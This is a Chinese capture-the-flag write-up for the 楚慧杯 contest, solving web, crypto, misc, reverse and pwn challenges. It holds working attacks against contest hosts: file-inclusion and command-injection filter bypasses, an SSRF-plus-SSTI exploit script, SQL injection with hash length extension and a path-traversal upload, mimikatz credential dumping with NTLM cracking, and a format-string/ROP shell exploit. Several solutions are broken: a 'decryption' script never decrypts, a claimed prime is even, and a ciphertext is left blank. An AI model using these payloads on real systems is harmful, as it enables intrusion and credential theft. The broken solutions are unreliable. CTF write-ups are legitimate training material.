前言:第一次楚慧杯,神仙打架记录下

检材下载:

关注鱼影安全 后台即可下载 永久有效

Web:

拯救芙莉莲:

访问/robots.txt

在这里插入图片描述

在这里插入图片描述

?spell=echo 1&file=php://filter/read=convert.base64-encode/resource=(´⌯%20̫⌯%60)>.php ## 任意文件读取

在这里插入图片描述

<?php
  if (!defined('INCLUDED_ONCE')) {
  define('INCLUDED_ONCE', true);

error_reporting(E_ALL);
ini_set('display_errors', 1);

$file = $_GET['file'];

$blacklist = array(
  'flag',
  'php://input',
  'data://',
  'expect://',
  'file://',
  'glob://',
  'phar://',
  '/etc/passwd',
  '/etc/shadow',
  'win.ini',
  '../',
  '..\\',
);

foreach ($blacklist as $bad) {
  if (stripos($file, $bad) !== false) {
    die('<div class="error-box"><h2>❌ 魔法屏障阻止了你的尝试</h2><p>检测到危险的魔法咒语...</p></div></body></html>');
  }
}

include($file);
}
?>

<div class="bg">
  天哪,芙芙被宝箱怪困住了,你能施法帮她脱离困境吗......
</div>

        <?php
if (isset($_GET['spell'])) {
  echo '<div class="error-box">';
  echo '<h2>🔮 解开宝箱怪的封印</h2>';
  echo '<pre>';
  echo "芙芙: \"这个宝箱怪有一个古老的封印,需要正确的魔法咒语才能解开...\"\n";
  echo "芙芙: \"我记得封印的关键在根目录的某个文件里...\"\n";
  echo "芙芙: \"但是宝箱怪的魔法屏障会拒绝某些危险的咒语!\"\n";
  echo "芙芙: \"也许你可以用 Linux 命令来读取那个文件?\"\n";

  $spell = $_GET['spell'];
  echo "你的咒语: " . htmlspecialchars($spell) . "\n";

  $forbidden = array('system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open');
  foreach ($forbidden as $bad) {
    if (stripos($spell, $bad) !== false) {
      die("⚠️ 检测到禁忌的黑魔法!\n芙芙: \"宝箱怪拒绝了这个咒语...\"\n</pre></div></body></html>");
    }
  }

  if (stripos($spell, 'flag') !== false) {
    die("⚠️ 宝箱怪的魔法屏障启动了!它不允许直接念出 'flag' 这个词!\n</pre></div></body></html>");
  }

  $blocked_commands = array('cat', 'tac', 'nl', 'more', 'less', 'head', 'tail', 'sort', 'uniq', 'strings', 'od', 'xxd', 'hexdump', 'grep', 'awk', 'sed', 'cut', 'rev', 'base64', 'env');
  foreach ($blocked_commands as $cmd) {
    if (stripos($spell, $cmd) !== false) {
      die("⚠️ 宝箱怪识破了你的咒语!命令 '$cmd' 已被封印!\n芙芙: \"这些常用的命令都被屏蔽了...得想想其他办法...\"\n</pre></div></body></html>");
    }
  }

  echo "施法中...\n";
  echo "━━━━━━━━━━━━━━━━━━━━\n";

  $result = shell_exec($spell);

  if ($result) {
    echo "✨ 封印解除了!宝箱怪消失了!\n\n";
    echo "【施法结果】:\n";
    echo $result;
    echo "\n━━━━━━━━━━━━━━━━━━━━\n";
    echo "芙芙: \"太棒了!你成功救出了我!这是我珍藏的神秘卷轴,看看里面有什么~\"\n";
  } else {
    echo "❌ 咒语似乎没有效果...\n";
    echo "芙芙: \"也许需要调整一下咒语的内容?\"\n";
  }
            
            echo '</pre>';
            echo '</div>';
        }
        ?>

?spell=php%20-r%20%22readfile(%27/fl%27.%27ag%27);%22

在这里插入图片描述

DASCTF{66700295200095972838110428641601}

cybers:

点击 "CONNECT" 按钮。这会访问 /initialize ,并给你分配一个 Session Cookie

在这里插入图片描述
在这里插入图片描述
接下来需要将你的积分变成正数,这会触发 NumPy 整数溢出

/hack?amount=-9223372036854775808

最后利用 SSRFSSTI 获取 Flag payload:

import requests
import urllib.parse
import re
import sys
import argparse
from colorama import init, Fore, Style

init(autoreset=True)

class CyberMarketExploit:
    def __init__(self, target_url, proxy=None):
        self.target = target_url.rstrip('/')
        self.session = requests.Session()

        if proxy:
            self.session.proxies = {
                'http': proxy,
                'https': proxy
            }
            self.log(f"Using proxy: {proxy}", Fore.YELLOW)

    def log(self, message, color=Fore.WHITE):
        print(f"{color}[*] {message}{Style.RESET_ALL}")

    def success(self, message):
        print(f"{Fore.GREEN}[+] {message}{Style.RESET_ALL}")

    def error(self, message):
        print(f"{Fore.RED}[-] {message}{Style.RESET_ALL}")
        sys.exit(1)

    def relay_raw(self, raw_http):
        try:
            resp = self.session.post(
                f"{self.target}/relay", 
                data={"port": "5000", "data": raw_http}, 
                timeout=15
            )
            resp.raise_for_status()
            return resp.text
        except requests.exceptions.RequestException as e:
            self.error(f"Relay request failed: {e}")

    def extract_cookie(self, resp_text):
        match = re.search(r'Set-Cookie: session=([^;]+)', resp_text)
        return match.group(1) if match else None

    def setup_exploit_chain(self):
        self.log("Initializing session...")
        try:
            self.session.get(f"{self.target}/initialize", timeout=10)
        except Exception as e:
            self.error(f"Failed to connect to target: {e}")

        self.log("Getting backend session cookie via SSRF...")
        raw_init = "GET /initialize HTTP/1.1\r\nHost: 127.0.0.1:5000\r\n\r\n"
        resp_init = self.relay_raw(raw_init)
        cookie = self.extract_cookie(resp_init)

        if not cookie:
            self.error("Failed to retrieve initial session cookie")

        self.log(f"Initial Cookie: {cookie[:10]}...", Fore.CYAN)

        self.log("Triggering Integer Overflow to gain credits...")
        payload_amount = "-9223372036854775808" 

        raw_hack = (
            f"GET /hack?amount={payload_amount} HTTP/1.1\r\n"
            f"Host: 127.0.0.1:5000\r\n"
            f"Cookie: session={cookie}\r\n\r\n"
        )
        resp_hack = self.relay_raw(raw_hack)

        new_cookie = self.extract_cookie(resp_hack)

        if new_cookie:
            self.success("Integer Overflow successful! Credits updated.")
            return new_cookie
        elif "Hack successful" in resp_hack:
            return cookie
        else:
            self.error("Hack failed. Response: " + resp_hack[:100])

    def build_ssti_payload(self, cmd):
        self.log(f"Building SSTI payload for command: {cmd}")

        parts = [
            '{%set ud=lipsum|string|batch(19)|first|last%}',
            '{%set gl=ud~ud~(dict(glob=1,als=1)|join)~ud~ud%}',
            '{%set gi=ud~ud~(dict(get=1,it=1,em=1)|join)~ud~ud%}',
            '{%set gd=lipsum|attr(gl)%}',
            '{%set bi=ud~ud~(dict(built=1,ins=1)|join)~ud~ud%}',
            '{%set bd=gd|attr(gi)(bi)%}',
            '{%set im=ud~ud~(dict(im=1,port=1)|join)~ud~ud%}',
            '{%set xx=dict(o=1,s=1)|join%}',
            '{%set omod=bd|attr(gi)(im)(xx)%}',
            '{%set po=dict(po=1,pen=1)|join%}',
            '{%set cr=dict(chr=1)|join%}',
            '{%set CF=bd|attr(gi)(cr)%}',
        ]
        
        cmd_expr = '~'.join([f'CF({ord(c)})' for c in cmd])
        parts.append('{%set cmd=' + cmd_expr + '%}')
        parts.append('{%print(omod|attr(po)(cmd)|attr(dict(re=1,ad=1)|join)())%}')
        
        return ''.join(parts)

    def execute_command(self, cmd):
        cookie = self.setup_exploit_chain()
        payload = self.build_ssti_payload(cmd)
        
        body = f"fragment={urllib.parse.quote(payload)}"
        
        raw_req = (
            f"POST /market HTTP/1.1\r\n"
            f"Host: 127.0.0.1:5000\r\n"
            f"Cookie: session={cookie}\r\n"
            f"Content-Type: application/x-www-form-urlencoded\r\n"
            f"Content-Length: {len(body)}\r\n\r\n"
            f"{body}"
        )
        
        self.log("Sending SSTI payload...", Fore.MAGENTA)
        resp = self.relay_raw(raw_req)
        
        match = re.search(r"<h3>.*?'(.*?)'.*?</h3>", resp, re.DOTALL)
        
        if match:
            output = match.group(1).strip()
            try:
                if output.startswith("b'") or output.startswith("'"):
                    output = eval(output)
                    if isinstance(output, bytes):
                        output = output.decode('utf-8', errors='ignore')
            except:
                pass
            return output
        else:
            return resp

def main():
    parser = argparse.ArgumentParser(description="CyberMarket CTF Auto Exploit")
    parser.add_argument("-u", "--url", default="http://45.40.247.139:30879", help="Target URL")
    parser.add_argument("-c", "--cmd", help="Custom command to execute", default="tar cf - /flag 2>/dev/null | tar xf - --to-stdout")
    parser.add_argument("-p", "--proxy", help="HTTP Proxy (e.g. http://127.0.0.1:8080)")
    
    args = parser.parse_args()
    
    exploit = CyberMarketExploit(args.url, args.proxy)
    
    exploit.log(f"Target: {args.url}")
    exploit.log(f"Command: {args.cmd}")
    
    result = exploit.execute_command(args.cmd)
    
    print("\n" + "="*50)
    print(f"{Fore.GREEN}COMMAND OUTPUT:{Style.RESET_ALL}")
    print("="*50)
    print(result)
    print("="*50)
    
    if "DASCTF" in result or "flag{" in result.lower():
        print(f"\n{Fore.GREEN}[!] Flag found!{Style.RESET_ALL}")

if __name__ == "__main__":
    main()

在这里插入图片描述

DASCTF{76090477024689615158403187194100}

Fisafopil:

题目内容:我们的系统采用先进的加密和验证机制,确保数据的安全性与完整性。请确保您的登录信息安全,妥善保管账号密码。

先注册登录: 修改个人信息测试sql注入,发现存在sqlite注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
刷新拿到hash
在这里插入图片描述

然后使用md5扩展攻击: hashpump -s 1b897e9ce44716e073efc1559dced779 -d "test" -l 20 -a "EXT"
替换成管理员的hash

5f4dcc3b5aa765d61d8327deb882cf99  

在这里插入图片描述
登录admin ,然后目录穿越覆盖掉info.html 写入ssti语句

在这里插入图片描述

<!DOCTYPE html><html><body>{{ lipsum.__globals__["os"].popen("cat /flag").read() 
}}</body></html>

上传tar包即可:

curl -X POST "http://45.40.247.139:24141/admin/restore" \-H "Cookie: 
session=eyJ1c2VybmFtZSI6ICJhZG1pbiJ9.aa_VIw.Qho1hnMDg9UBaGVJ_NJrCfl2eis;" \-H "Content-Type: multipart/form-data; boundary=----
WebKitFormBoundary7MA4YWxkTrZu0gW" \-F "restore_file=@evil.tar;type=application/x-tar" \-v 

然后查看info信息即可:

在这里插入图片描述

Crypto:

Flip:

题目内容:Seems so many bits known!

k=flip(256)
r=pow(g,k,p)
s=inverse(k,p) * (i+r*d) %p

m = i 一共有五组标签 关键漏洞:nonce k 不是随机生成,而是:10101xyz
其中:xyz 为随机 bit 所以每个字节只能是:0xA8 ~ 0xAF

因此:每字节只有3bit随机 总随机性:32 × 3 = 96bit 这是一个 biased nonce。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
恢复 flag 源码中:d = flag正文 + 随机padding 所以:long_to_bytes(d)

from Crypto.Util.number import *
from fpylll import *
from fpylll.algorithms.bkz import BKZReduction

p = 71100374110712069688668891376502810245640088780564855438789152163485489371751

data = [
(28285613871231310640779639473901158789539111552315215487796222768188014946190,26227626146853365468070394748025813676883717455365705026242089396817666141149),
(26126343100952318312992351606027346470307966676167073519850533997742307763173,14620119507969980035515863104967829444815591632534197769232561325577348982289),
(6275780641102104914321094704687354889900656957520025439748906503860424049255,17138154832682193571532283943639841813795519294633367500729430287205754722383),
(70074830218018060401156682458161679247596227822712273801560023880579237944207,7241759400261146571231207923652617524886465143836459562831120970876560955603),
(58010164614616186321967235608825740148005793483553468415042960153988671899689,11042506367122208018546854524444698969622593890076172637272391555458027253012)
]

base = int.from_bytes(b"\xA8"*32,"big")

pow256 = [256**i for i in range(32)]

def attack():

    r1,s1 = data[0]
    r2,s2 = data[1]

    coef = [(r2*s1*(256**i))%p for i in range(32)]
    coef += [(-r1*s2*(256**i))%p for i in range(32)]

    const = (r2*0 - r1*1 - base*(r2*s1-r1*s2))%p

    dim = len(coef)

    M = IntegerMatrix(dim+1,dim+1)

    for i in range(dim):
        M[i,i] = 1
        M[i,dim] = coef[i]*20

    M[dim,dim] = p*20

    target = [3]*dim + [const*20]

    LLL.reduction(M)

    bkz = BKZReduction(M)
    bkz(BKZ.Param(30))

    res = CVP.babai(M,target)

    xs = [int(res[i]) for i in range(dim)]

    k1 = base
    for i in range(32):
        k1 += xs[i]*pow256[i]

    d = ((s1*k1) * inverse(r1,p)) % p

    print(long_to_bytes(d))

attack()
##DASCTF{Just_f3w_Bit5_fl1pp1ng}
GCD,杠上了

题目内容:又是GCD,我该如何得到公共因数p的值呢 请使用"DASCTF{“+sha256(hex§.encode()).hexdigest()[:32]+”}"计算得到flag

from Crypto.Util.number import getPrime, getRandomRange

def gen(k:int, gamma: int, eta: int, rho: int):
    xs = []
    qs = []
    es = []
    p = getPrime(eta)
    for _ in range(k):
        q = getPrime(gamma - eta)
        e = getRandomRange(-pow(2, rho-1) + 1, pow(2, rho-1) - 1)

        qs.append(q)
        es.append(e)
        xs.append(p * q + e)
    return p, qs, es, xs

k = 4
eta = 768
gamma = 1000 + eta
rho = 256

p, qs, es, xs = gen(k, gamma, eta, rho)

print(p)
for x in xs:
    print(x)

在这里插入图片描述
print§ 这个代码说明: 第一行就是秘密值 p 恢复 p:

7286602644894347905698877185006886062766603336098651145708618257426896498601438194818405176376998357154846239925108795918211744886731571266744871908463835351995189784312085830285088365342080806811314047882453402592133074499069282870744236160215512216478789267594028132748508140080189837224089073913522991827904722259140858601642592466315776021315586438508197663608590812749450817365064347439560883042009204050351693713820588889060849655679914847278675752145553961823946981967169055185529737402521407509263021789077125016742255715760

根据题目要求: 需要对恢复出的 p 进行处理,最终得到答案 : eead8ea2b3519a2273a5292375e31009

p = 7286602644894347905698877185006886062766603336098651145708618257426896498601438194818405176376998357154846239925108795918211744886731571266744871908463835351995189784312085830285088365342080806811314047882453402592133074499069282870744236160215512216478789267594028132748508140080189837224089073913522991827904722259140858601642592466315776021315586438508197663608590812749450817365064347439560883042009204050351693713820588889060849655679914847278675752145553961823946981967169055185529737402521407509263021789077125016742255715760

print(p)

MISC:

game_go_1:

这是一个 RPG Maker VX Ace 打包的自解压游戏程序,游戏目录结构

在这里插入图片描述
直接编写脚本提取类似flag的格式

import os, re, zlib, sys

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
DATA_DIR = os.path.join(SCRIPT_DIR, "gamego", "Data")

if not os.path.isdir(DATA_DIR):
    # Fallback to other possible locations if needed
    potential_paths = [
        os.path.join(SCRIPT_DIR, "Data"),
        os.path.join(SCRIPT_DIR, "gamego", "extracted", "Data")
    ]
    for p in potential_paths:
        if os.path.isdir(p):
            DATA_DIR = p
            break

def extract_segment1(data_dir):
    weapons_path = os.path.join(data_dir, "Weapons.rvdata2")
    if not os.path.isfile(weapons_path):
        print(f"[ERROR] Weapons.rvdata2 not found at {weapons_path}")
        sys.exit(1)
    with open(weapons_path, 'rb') as f:
        data = f.read()
    idx = data.find(b'DASCTF{')
    if idx < 0:
        print("[ERROR] DASCTF{ not found in Weapons.rvdata2")
        sys.exit(1)
    prefix = "DASCTF{"
    m = re.search(rb'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-)', data)
    if not m:
        print("[ERROR] UUID segment not found in Weapons.rvdata2")
        sys.exit(1)
    seg1 = m.group(1).decode('ascii')
    return prefix, seg1

def extract_segment2(data_dir):
    scripts_path = os.path.join(data_dir, "Scripts.rvdata2")
    if not os.path.isfile(scripts_path):
        print(f"[ERROR] Scripts.rvdata2 not found at {scripts_path}")
        sys.exit(1)
    with open(scripts_path, 'rb') as f:
        data = f.read()
    flag_idx = data.rfind(b'flag')
    if flag_idx < 0:
        print("[ERROR] 'flag' script not found in Scripts.rvdata2")
        sys.exit(1)
    for i in range(flag_idx, min(flag_idx + 200, len(data) - 2)):
        if data[i] == 0x78 and data[i+1] in (0x9C, 0x01, 0xDA, 0x5E):
            for endpos in range(i + 2, min(i + 50000, len(data))):
                try:
                    result = zlib.decompress(data[i:endpos])
                    return result.decode('utf-8').strip()
                except zlib.error:
                    continue
            break
    print("[ERROR] Could not decompress 'flag' script content")
    sys.exit(1)

def main():
    if not os.path.isdir(DATA_DIR):
        print(f"[ERROR] Data directory not found: {DATA_DIR}")
        sys.exit(1)
    prefix, seg1 = extract_segment1(DATA_DIR)
    seg2 = extract_segment2(DATA_DIR)
    flag = prefix + seg1 + seg2
    print(f"Segment 1 (Weapons): {seg1}")
    print(f"Segment 2 (Scripts): {seg2}")
    print(f"\nFlag: {flag}")

if __name__ == "__main__":
    main()

直接拼接后 UUID 部分变成 1168cb17-31ff-43b7--b586-8414d383afce

在这里插入图片描述

SAM_and_Steg:

where is my password? where is my flag?
先使用 mimikatz 提取 NTLM

mimikatz # lsadump::sam /sam:sam /system:system
Domain : DUCTF-AD
SysKey : a88f47504785ba029e8fa532c4c9e27b
Local SID : S-1-5-21-2461790198-1013503533-1008536141

SAMKey : 848804bda5d876ca7027beeee0efdd7c

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 476b4dddbbffde29e739b618580adb1e

RID  : 000001f5 (501)
User : Guest

hashcat爆破拿到 !checkerboard1

先使用 mimikatz 提取 NTLM
mimikatz # lsadump::sam /sam:sam /system:system
Domain : DUCTF-AD
SysKey : a88f47504785ba029e8fa532c4c9e27b
Local SID : S-1-5-21-2461790198-1013503533-1008536141

SAMKey : 848804bda5d876ca7027beeee0efdd7c

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 476b4dddbbffde29e739b618580adb1e

RID  : 000001f5 (501)
User : Guest
hashcat爆破拿到 !checkerboard1
476b4dddbbffde29e739b618580adb1e:!checkerboard1         

                                                        

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: 476b4dddbbffde29e739b618580adb1e
Time.Started.....: Tue Mar 10 06:02:10 2026, (12 secs)
Time.Estimated...: Tue Mar 10 06:02:22 2026, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1221.3 kH/s (0.09ms) @ Accel:256 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 14340096/14344385 (99.97%)
Rejected.........: 0/14340096 (0.00%)
Restore.Point....: 14339072/14344385 (99.96%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: !jrp2pep03! -> !carragold!
Hardware.Mon.#1..: Util: 25%

Started: Tue Mar 10 06:02:06 2026
Stopped: Tue Mar 10 06:02:24 2026

然后再 sam system这个两文件分别可以提取出一个密码和一张图片,
使用上面的密码解密这图片可以拿到 一个 aes 文件

在这里插入图片描述
根据图片上的提示知道是 openssl 然后解密即可

openssl enc -d -aes-256-cbc -md sha256 -k p@s4w0rd -in AES256 -out 1.gz
tar -xvf 1.gz
DASCTF{aa28f51d-0f54-4286-af3c-86a14fbab4a4}
Time_and_chaos:

这题其实不用想太复杂,核心就两步:

  1. 图片里藏前半段 flag
  2. txt 里藏后半段 flag 很明显 0 宽隐写

在这里插入图片描述
这 8 张 png 虽然看起来乱,但是它们可以一起处理。
最简单的方法就是:
● 把 1.png ~ 8.png 全部读进来
● 对每个像素求平均值
● 再把图像颜色反相

这样噪声会被抵消,隐藏的字会变清楚。处理之后,在图片右上角可以看到前半段: DASCTF{Logistic_and flag.txt 里真正有用的不是能看见的文字,而是那些看不见的零宽字符。

把文件里的零宽字符提取出来,只保留这几种:
● U+200C
● U+200D
● U+202C
● U+FEFF
然后把它们按 2bit 去映射:

  1. U+200C -> 00
  2. U+200D -> 01
  3. U+202C -> 10
  4. U+FEFF -> 11

这样就能得到一串二进制。接着:每 8 位转成一个字节拼成 bytes 用 UTF-16BE 解码
最后能得到后半段:_time_fly}

然后拼接: DASCTF{Logistic_and_time_fly} 答案提交里面的内容 Logistic_and_time_fly

Reverse:

眼见为虚_1:
  1. 程序主流程分析

IDA Pro 反编译主函数 sub_401522:

在这里插入图片描述
这道题的程序使用了修改版 TEA 加密 + XOR 的组合来验证 flag:
● 先通过一个修改版 TEA 算法生成 8 字节密钥
● 再用这个 8 字节密钥去对用户输入做 XOR
● 最后把 XOR 后的结果和程序内置的 40 字节密文逐字节比较

在这里插入图片描述
在这里插入图片描述
因为 TEA 输入和 key 都是固定的,所以直接写脚本模拟 32 轮即可

def tea_encrypt():
    v0 = 0x18274A3A
    v1 = 0x24F8D42F
    k = [0x9C8793BF, 0xBB5C1044, 0x2FEA4F74, 0xA142ED8B]
    delta = 0xDEADBEEF
    sum_ = 0

    for _ in range(32):
        sum_ = (sum_ + delta) & 0xffffffff
        v0 = (v0 + (((v1 << 4) + k[0]) ^ (v1 + sum_) ^ ((v1 >> 5) + k[1]))) & 0xffffffff
        v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + sum_) ^ ((v0 >> 5) + k[3]))) & 0xffffffff

    return v0, v1

跑完之后会得到两个 32 位整数,把它们按小端或程序实际取字节顺序拆成 8 字节,
就是后续 XOR 用的基础密钥。 下面写个解密脚本:

import struct

def tea_encrypt():
    v0 = 0x18274A3A
    v1 = 0x24F8D42F
    k = [0x9C8793BF, 0xBB5C1044, 0x2FEA4F74, 0xA142ED8B]
    delta = 0xDEADBEEF
    sum_ = 0

    for _ in range(32):
        sum_ = (sum_ + delta) & 0xffffffff
        v0 = (v0 + (((v1 << 4) + k[0]) ^ (v1 + sum_) ^ ((v1 >> 5) + k[1]))) & 0xffffffff
        v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + sum_) ^ ((v0 >> 5) + k[3]))) & 0xffffffff

    return v0, v1

# TEA 输出转 8 字节
v0, v1 = tea_encrypt()
tea_bytes = struct.pack("<II", v0, v1)   # 按小端拆分,和程序一致

# 程序中的 40 字节硬编码密文(这里替换成你在 IDA 里抄出的那组字节)
target = bytes([
    # 把程序里的 40 字节密文填进来
])

# 逆向 XOR
flag = bytearray()
for i in range(len(target)):
    key_byte = (tea_bytes[i % 8] + 0x1B) & 0xFF
    flag.append(target[i] ^ key_byte)

print(flag.decode())
## DASCTF{64d5de2b4bb3b3f90bb3af2ee6fe72cf}
eazy_code:

题目内容:小黄是一个windows病毒专家,他有一个字节码文件,你能一眼看出来是什么吗?
题目分值: 100.0
拿到附件后先使用 IDA / Ghidra 打开程序进行分析。
程序逻辑非常简单:

  1. 程序读取用户输入字符串。
  2. 将输入字符串按 4字节分组。
  3. 对数据执行一段 加密运算。
  4. 最终结果与程序内置的数组进行比较。
    如果加密结果一致,则输出 Correct。
    程序中的目标数组为:
ans = {
1374278842,
2136006540,
4191056815,
3248881376
};

这些数值就是加密后的结果。
在函数中可以看到典型特征:

sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);

这段结构非常典型,是 TEA / XXTEA 加密算法 的特征。
题目中使用的是 简化版 XXTEA,并且是:
● 32轮运算
● 固定 key
由于程序是 加密后再比较,所以只需要 逆运算即可恢复原字符串。

三、逆向恢复
将 ans 数组作为密文输入,通过 XXTEA 解密 即可得到原始数据。
编写简单 Python 脚本进行解密:

import struct

ans = [1374278842,2136006540,4191056815,3248881376]

# 转换为字节
data = b''.join(struct.pack('<I', i) for i in ans)

print(data)

##yOUar3g0oD@tPw5H

Pwn:

house_1:

题目内容:Can you get a proper house

保护全开,change操作中存在格式化字符串漏洞,可以直接泄露 libc,pie,canary

在这里插入图片描述
在这里插入图片描述
edit有一个read,长度 0x20 可被格串写。

在这里插入图片描述
因此直接printf泄露一系列地址,改大nbytes,然后栈溢出写rop链即可。

#!/usr/bin/env python3
from pwn import *
import re
context(log_level='debug',arch='amd64')
libc = ELF('./libc.so.6')
def choose(io, n):
    io.recvuntil(b'>> ')
    io.sendline(str(n).encode())
def change(io, payload):
    choose(io, 2)
    io.recvuntil(b'Please write your name:\n')
    io.send(payload)
    io.recvuntil(b'the name is:\n')
    return io.recvline().strip()
io = remote('45.40.247.139',31268)
leak = change(io, b'%13$p-%8$p-%1$p\n').split(b'-')
canary = int(leak[0], 16)
pie = int(leak[1], 16) - 0x14A0
libc.address = int(leak[2], 16) - 0x1ED723
change(io, b'%768c%10$hn'.ljust(0x20, b'A') + p64(pie+0x4010))
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
binsh = next(libc.search(b'/bin/sh\x00'))
choose(io, 3)
io.recvuntil(b'Please write your content\n')
payload = b'A' * 0x48 + p64(canary) + b'A' * 8 + flat(pop_rdi+1, pop_rdi, binsh, libc.sym.system)
io.send(payload)
io.interactive()  

在这里插入图片描述

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐